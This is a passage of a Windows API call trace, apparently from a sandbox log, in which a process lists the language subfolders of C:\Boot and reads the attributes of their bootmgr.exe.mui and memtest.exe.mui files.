	[0239.946] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0239.947] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.947] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.947] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0239.947] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.947] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0239.948] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.948] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560)) returned 1
	[0239.960] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.960] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0239.962] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.963] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.963] CreateFileW (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.963] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0239.963] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.964] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.964] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0239.964] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.964] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0239.964] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.964] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960)) returned 1
	[0239.964] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.964] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0)) returned 1
	[0239.979] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.979] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-GB" (normalized: "c:\\boot\\en-gb"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.979] CreateFileW (lpFileName="C:\\Boot\\en-GB" (normalized: "c:\\boot\\en-gb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.979] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0239.980] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.980] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.980] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.980] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0239.980] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.981] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158)) returned 1
	[0239.981] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.981] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.981] CreateFileW (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.982] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0239.982] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.982] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.982] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0239.982] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.982] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0239.982] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.982] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0)) returned 1
	[0239.984] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.984] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0)) returned 1
	[0239.984] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.984] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.985] CreateFileW (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.985] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0239.985] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.985] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.985] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0239.985] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.985] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0239.986] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.986] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60)) returned 1
	[0239.986] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.986] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0239.996] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.996] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-MX" (normalized: "c:\\boot\\es-mx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
